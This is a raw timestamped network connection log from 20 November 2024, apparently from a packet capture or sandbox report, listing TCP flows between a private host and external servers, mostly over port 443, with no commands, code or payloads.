Nov 20, 2024 00:19:32.531939983 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.531954050 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.531985044 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.532105923 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.539603949 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.539668083 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.539680004 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.539700031 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.539737940 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.539758921 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.598135948 CET	443	49885	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.601996899 CET	49885	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.602018118 CET	443	49885	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.603142977 CET	49885	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.603148937 CET	443	49885	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.621799946 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.621856928 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.621889114 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.621901035 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.621952057 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.621952057 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.622731924 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.622781038 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.622849941 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.622849941 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.622859955 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.623061895 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.624352932 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.624396086 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.624412060 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.624427080 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.624454021 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.624468088 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.629491091 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.629537106 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.629589081 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.629589081 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.629597902 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.629687071 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.665214062 CET	443	49881	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:32.665394068 CET	443	49881	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:32.665452957 CET	49881	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:32.669348955 CET	49881	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:32.669390917 CET	443	49881	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:32.701800108 CET	443	49885	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.701967001 CET	443	49885	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.702065945 CET	49885	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.705461979 CET	49885	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.705481052 CET	443	49885	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.705544949 CET	49885	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.705564976 CET	443	49885	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.711007118 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.711054087 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.711080074 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.711095095 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.711138010 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.711138010 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.712065935 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.712116003 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.712138891 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.712145090 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.712184906 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.712436914 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.712980986 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.713023901 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.713068008 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.713073969 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.713120937 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.713203907 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.713248014 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.713254929 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.713293076 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.713335991 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.713349104 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.714199066 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.714242935 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.714278936 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.714297056 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.714335918 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.714335918 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.715115070 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.715277910 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.715342045 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.715388060 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.717400074 CET	49892	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.717422009 CET	443	49892	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.717475891 CET	49892	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.718018055 CET	49880	443	192.168.2.6	13.107.246.60
Nov 20, 2024 00:19:32.718029976 CET	443	49880	13.107.246.60	192.168.2.6
Nov 20, 2024 00:19:32.727826118 CET	49892	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.727837086 CET	443	49892	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.763489008 CET	443	49888	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.775969028 CET	49888	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.775989056 CET	443	49888	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.776412964 CET	49888	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.776417971 CET	443	49888	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.874667883 CET	443	49888	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.874753952 CET	443	49888	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.874814987 CET	443	49888	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.874816895 CET	49888	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.874861956 CET	49888	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.880157948 CET	443	49891	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.884198904 CET	443	49889	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.902829885 CET	443	49890	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:32.923459053 CET	49891	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.931204081 CET	49889	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:32.946384907 CET	49890	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.057585955 CET	49890	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.057595015 CET	49891	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.057596922 CET	443	49890	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.057610989 CET	443	49891	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.058427095 CET	49891	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.058439016 CET	443	49891	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.058605909 CET	49889	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.058617115 CET	443	49889	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.059082985 CET	49889	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.059092999 CET	443	49889	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.059099913 CET	49888	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.059113026 CET	443	49888	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.059175968 CET	49890	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.059181929 CET	443	49890	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.115026951 CET	49894	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.115037918 CET	443	49894	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.115257025 CET	49894	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.116492987 CET	49895	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:33.116518974 CET	443	49895	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:33.116610050 CET	49895	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:33.117182016 CET	49895	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:33.117194891 CET	443	49895	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:33.117851019 CET	49894	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.117860079 CET	443	49894	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.163253069 CET	443	49891	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.163573027 CET	443	49891	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.163711071 CET	49891	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.164275885 CET	49891	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.164297104 CET	443	49891	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.164752960 CET	443	49890	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.165273905 CET	443	49890	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.165327072 CET	49890	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.166501045 CET	49890	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.166501045 CET	49890	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.166517973 CET	443	49890	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.166522980 CET	443	49890	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.168783903 CET	49896	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.168795109 CET	443	49896	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.168853045 CET	49896	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.169275999 CET	49896	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.169285059 CET	443	49896	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.170382023 CET	49897	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.170418024 CET	443	49897	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.170474052 CET	49897	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.170614004 CET	49897	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.170629978 CET	443	49897	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.175220013 CET	443	49889	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.175646067 CET	443	49889	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.175828934 CET	49889	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.175893068 CET	49889	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.175893068 CET	49889	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.175910950 CET	443	49889	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.175931931 CET	443	49889	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.179472923 CET	49898	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.179481983 CET	443	49898	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.179543018 CET	49898	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.179848909 CET	49898	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.179857969 CET	443	49898	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.413397074 CET	443	49892	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.440099955 CET	49892	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.440119028 CET	443	49892	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.440620899 CET	49892	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.440628052 CET	443	49892	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.542784929 CET	443	49892	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.543421030 CET	443	49892	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.543473959 CET	443	49892	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.543509007 CET	49892	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.543591976 CET	49892	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.543766022 CET	49892	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.543776035 CET	443	49892	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.543785095 CET	49892	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.543788910 CET	443	49892	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.548422098 CET	49906	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.548459053 CET	443	49906	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.548547983 CET	49906	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.548948050 CET	49906	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.548966885 CET	443	49906	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.762967110 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:33.793845892 CET	443	49895	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:33.793943882 CET	49895	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:33.800925970 CET	443	49894	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.805579901 CET	49895	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:33.805603027 CET	443	49895	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:33.805952072 CET	49894	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.805974960 CET	443	49894	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.805985928 CET	443	49895	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:33.806416988 CET	49894	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.806421995 CET	443	49894	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.807310104 CET	49895	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:33.847467899 CET	443	49897	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.848067045 CET	49897	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.848084927 CET	443	49897	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.850037098 CET	49897	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.850044012 CET	443	49897	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.850536108 CET	443	49896	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.851113081 CET	49896	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.851125956 CET	443	49896	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.851329088 CET	443	49895	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:33.851573944 CET	49896	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.851577997 CET	443	49896	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.863465071 CET	443	49898	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.864017963 CET	49898	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.864032984 CET	443	49898	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.864842892 CET	49898	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.864847898 CET	443	49898	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.943893909 CET	443	49894	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.944530010 CET	443	49894	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.944595098 CET	49894	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.944616079 CET	49894	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.944624901 CET	443	49894	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.944634914 CET	49894	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.944639921 CET	443	49894	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.947217941 CET	49910	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.947251081 CET	443	49910	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.947338104 CET	49910	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.947465897 CET	49910	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.947477102 CET	443	49910	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.951281071 CET	443	49897	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.951411009 CET	443	49897	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.951600075 CET	49897	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.951600075 CET	49897	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.951679945 CET	49897	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.951693058 CET	443	49897	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.954323053 CET	49911	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.954343081 CET	443	49911	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.954659939 CET	49911	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.954824924 CET	49911	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.954839945 CET	443	49911	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.955544949 CET	443	49896	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.955646992 CET	443	49896	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.955682993 CET	443	49896	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.955703974 CET	49896	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.955738068 CET	49896	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.956311941 CET	49896	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.956319094 CET	443	49896	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.956401110 CET	49896	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.956406116 CET	443	49896	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.958534956 CET	49912	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.958578110 CET	443	49912	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.959100962 CET	49912	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.959208012 CET	49912	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.959233999 CET	443	49912	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.972973108 CET	443	49898	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.973176003 CET	443	49898	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.973668098 CET	49898	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.973691940 CET	49898	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.973695993 CET	443	49898	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.973705053 CET	49898	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.973709106 CET	443	49898	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.975682020 CET	49913	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.975703955 CET	443	49913	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:33.975939989 CET	49913	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.976054907 CET	49913	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:33.976068020 CET	443	49913	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.088013887 CET	443	49895	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:34.088095903 CET	443	49895	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:34.088155985 CET	49895	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:34.088856936 CET	49895	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:34.088867903 CET	443	49895	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:34.088877916 CET	49895	443	192.168.2.6	184.28.90.27
Nov 20, 2024 00:19:34.088882923 CET	443	49895	184.28.90.27	192.168.2.6
Nov 20, 2024 00:19:34.224479914 CET	443	49906	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.225210905 CET	49906	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.225230932 CET	443	49906	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.225657940 CET	49906	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.225662947 CET	443	49906	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.337415934 CET	443	49906	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.337585926 CET	443	49906	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.337718964 CET	49906	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.339029074 CET	49906	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.339029074 CET	49906	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.339046001 CET	443	49906	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.339054108 CET	443	49906	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.345244884 CET	49918	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.345310926 CET	443	49918	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.345376968 CET	49918	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.348216057 CET	49918	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.348247051 CET	443	49918	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.628784895 CET	443	49912	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.629215002 CET	49912	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.629260063 CET	443	49912	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.629703045 CET	49912	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.629717112 CET	443	49912	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.630805016 CET	443	49910	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.631459951 CET	49910	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.631473064 CET	443	49910	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.631866932 CET	49910	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.631870985 CET	443	49910	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.646570921 CET	443	49913	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.646914005 CET	49913	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.646931887 CET	443	49913	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.647305965 CET	49913	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.647310019 CET	443	49913	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.663089037 CET	443	49911	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.663403034 CET	49911	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.663423061 CET	443	49911	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.663768053 CET	49911	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.663774967 CET	443	49911	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.734530926 CET	443	49912	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.734813929 CET	443	49912	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.734868050 CET	49912	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.736306906 CET	443	49910	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.736432076 CET	443	49910	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.736506939 CET	49910	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.739151955 CET	49910	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.739168882 CET	443	49910	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.739168882 CET	49912	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.739181042 CET	49910	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.739183903 CET	443	49912	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.739193916 CET	443	49910	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.739201069 CET	49912	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.739207983 CET	443	49912	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.741787910 CET	49927	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.741801977 CET	443	49927	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.741867065 CET	49927	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.741978884 CET	49927	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.741991043 CET	443	49927	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.742047071 CET	49928	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.742063999 CET	443	49928	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.742121935 CET	49928	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.742229939 CET	49928	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.742244959 CET	443	49928	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.758650064 CET	443	49913	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.758791924 CET	443	49913	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.758851051 CET	49913	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.758912086 CET	49913	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.758920908 CET	443	49913	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.758930922 CET	49913	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.758934975 CET	443	49913	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.761296034 CET	49929	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.761316061 CET	443	49929	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:34.761379957 CET	49929	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:34.761548996 CET	49929	443	192.168.2.6	13.107.246.45
